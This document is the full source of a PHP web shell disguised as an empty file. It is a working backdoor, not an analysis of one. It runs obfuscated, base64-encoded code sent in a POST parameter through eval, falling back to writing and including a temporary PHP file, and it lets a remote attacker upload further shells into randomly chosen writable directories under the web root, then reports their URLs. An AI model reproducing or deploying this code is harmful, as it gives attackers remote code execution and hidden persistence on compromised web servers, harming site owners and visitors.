PHP Decode

<!--FILE IS NULL OR EMPTY--> 
<?php 
 
$version = "1.5"; 
if(!empty($_POST["gjwqweodsa"]) and strlen($_POST["gjwqweodsa"]) > 0 and isset($_POST["gjwqweodsa"])){ 
 $isevalfunctionavailable = false; 
 $evalcheck = "\$isevalfunctionavailable = true;"; 
 @eval($evalcheck); 
 if ($isevalfunctionavailable === true) { 
    $fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e"; 
     
    $fv = $fnsdht($_POST["gjwqweodsa"]); 
    @eval($fv); 
    //@eval($_POST["gjwqweodsa"]); 
 }else{ 
    $mpath =  realpath("")."/"; 
    //$dop = "
@unlink(\"".$mpath."dsadasdsa1fag1.php\");
"; 
    if(@file_put_contents($mpath."dsadasdsa1fag1.php","<?php
".$fnsdht($_POST["gjwqweodsa"])."
?>")){ 
        @include_once($mpath."dsadasdsa1fag1.php"); 
        @unlink($mpath."dsadasdsa1fag1.php"); 
    }else{ 
        echo "ERROR! CANT DO NOTHING!"; 
    } 
 } 
} 
//if (is_uploaded_file($_FILES['file']['tmp_name'])) 
if(!empty($_POST['fname']) and isset($_POST['fname']) and strlen($_POST['fname'])>0) 
{ 
  $fname = trim($_POST['fname']); 
  $save_type = trim($_POST['save_type']); 
  $dirname = trim($_POST['dirname']); 
  $namecrt = trim($_POST['namecrt']); 
   
  $auth_pass = trim($_POST['auth_pass']); 
  $change_pass = trim($_POST['change_pass']); 
   
  $file_type = trim($_POST['file_type']); 
  $ftdata = trim($_POST['ftdata']); 
  $is_sh = trim($_POST['is_sh']); 
   
  if($namecrt == "random"){ 
    $fname = make_name($fname); 
  } 
  $uploadfile = ""; 
   
  if($save_type == "same_dir"){ 
    $uploadfile = realpath("")."/". $fname; 
  }else if($save_type == "sub_dir"){ 
    $uploadfile = realpath("")."/$dirname/". $fname; 
    if(!@mkdir(realpath("")."/$dirname/", 0755)){ 
        $uploadfile = realpath("")."/". $fname; 
    } 
  }else if($save_type == "root"){ 
    $root = $_SERVER['DOCUMENT_ROOT']."/"; 
    if(@is_writable($root)){ 
        $uploadfile = $root.$fname; 
    }else{ 
        $uploadfile = realpath("")."/". $fname; 
    } 
  }else if($save_type == "root_in_dir"){ 
    $root = $_SERVER['DOCUMENT_ROOT']."/"; 
    $uploadfile = $root."$dirname/". $fname; 
    if(!@mkdir($root."$dirname/", 0755)){ 
        $uploadfile = realpath("")."/". $fname; 
    } 
  }else if($save_type == "random_dir"){ 
    $uploadfile = choose_dir(); 
    if(@is_writable($uploadfile)){ 
        $uploadfile = $uploadfile.$fname; 
    }else{ 
        $uploadfile = realpath("")."/". $fname; 
    } 
  }else if($save_type == "random_dir_random_dirname"){ 
    $dirs = array("dwr","temp","htdata","docs","memory","limits_data","module_config","temp_memory"); 
    $dr = $dirs[array_rand($dirs)]; 
     
    $chodir =  choose_dir(); 
    $uploadfile = $chodir.$dr."/".$fname; 
     
    if(!@mkdir($chodir."$dr/", 0755)){ 
        $uploadfile = realpath("")."/". $fname; 
    } 
  }else{ 
    $uploadfile = realpath("")."/". $fname; 
  } 
  if($file_type == "file"){ 
     if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) 
      { 
        if($is_sh == "1" or $is_sh == 1){ 
            if($change_pass == "1" or $change_pass == 1){    
             
            }else{ 
                $auth_pass = ""; 
            } 
            $d = @file_get_contents($uploadfile); 
            $d = str_replace("{||AUTH_PASS||}",$auth_pass,$d); 
            @file_put_contents($uploadfile,$d); 
        } 
        $url = "http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile); 
        echo "UPLOAD:".$url."-END"; 
      } 
      else  
      { 
            echo "ERROR upload"; 
      } 
  }else{ 
    if($is_sh == "1" or $is_sh == 1){ 
            if($change_pass == "1" or $change_pass == 1){    
             
            }else{ 
                $auth_pass = ""; 
            } 
            $ftdata = base64_decode($ftdata); 
            $ftdata = str_replace("{||AUTH_PASS||}",$auth_pass,$ftdata); 
    } 
    if(@file_put_contents($uploadfile,$ftdata)){ 
    	@chmod($uploadfile,0644); 
    	echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END"; 
    }else{ 
    	$fp = fopen($uploadfile, "w"); 
    	if($fp === false){ 
    		echo "ERROR upload"; 
    	}else{ 
    		@fputs ($fp, $ftdata); 
    		@fclose ($fp); 
    		@chmod($uploadfile,0644); 
    		echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END"; 
    	} 
    } 
  } 
       
} 
 
function make_name($curname){ 
    $l = array("_","__","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","1","2","3","4","5","6","7","8","9","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"); 
    $leng = rand(3, 9); 
    $ret = ""; 
    for($i = 0; $i < $leng; $i++){ 
        $ret .= $l[array_rand($l)]; 
    } 
    $curname = explode(".",$curname); 
    return $ret.".".$curname[1]; 
} 
 
function choose_dir(){ 
    $lim = 0; 
    $res_dirs = array_unique(my_scan($_SERVER['DOCUMENT_ROOT']."/",$lim)); 
    $t = array(); 
    for($j = 0; $j < count($res_dirs); $j++){ 
        $ct = explode("/",$res_dirs[$j]); 
        $t[] = count($ct); 
    } 
    arsort($t); 
    $cpath = ""; 
    $wrt_dirs = array(); 
    foreach($t as $key=>$val){ 
        if(@is_writable($res_dirs[$key])){ 
           if(@file_put_contents($res_dirs[$key]."t.php","hello")){ 
              @unlink($res_dirs[$key]."t.php"); 
              //$cpath =  $res_dirs[$key]; 
              //break; 
              $wrt_dirs[] = $res_dirs[$key]; 
           } 
        } 
    } 
    if(!empty($wrt_dirs) and count($wrt_dirs)>1){ 
        $cpath = $wrt_dirs[array_rand($wrt_dirs)]; 
    } 
    if(empty($cpath) or $cpath == "" or strlen($cpath) == 0){ 
       $cpath = $_SERVER['DOCUMENT_ROOT']."/"; 
    } 
    return $cpath; 
} 
 
function my_scan($startDir,&$lim){ 
    $cur_dir = @scandir($startDir); 
    $res = array(); 
    for($ii = count($cur_dir)-1; $ii >=0; $ii--){ 
        $one_dir = $cur_dir[$ii]; 
        @set_time_limit(0); 
        if($lim > 100)break; 
        $d = $startDir.$one_dir; 
        if(!@is_link($d) and @is_dir($d."/") && $one_dir !== "." && $one_dir !== ".." && $one_dir !== "cgi-bin" && $one_dir !== "webstats" && $one_dir !== "uploads" && $one_dir !== "upload" && $one_dir !== "js" && $one_dir !== "img" && $one_dir !== "images" && $one_dir !== "templates" && $one_dir !== "webstat" && strpos($one_dir,"backup")===false){ 
            if(@is_readable($d."/")){ 
                $res[] = $d."/";  
                $res = array_merge($res,my_scan($d."/",$lim));  
            }    
        } 
        $lim++; 
    } 
    return $res; 
} 
?>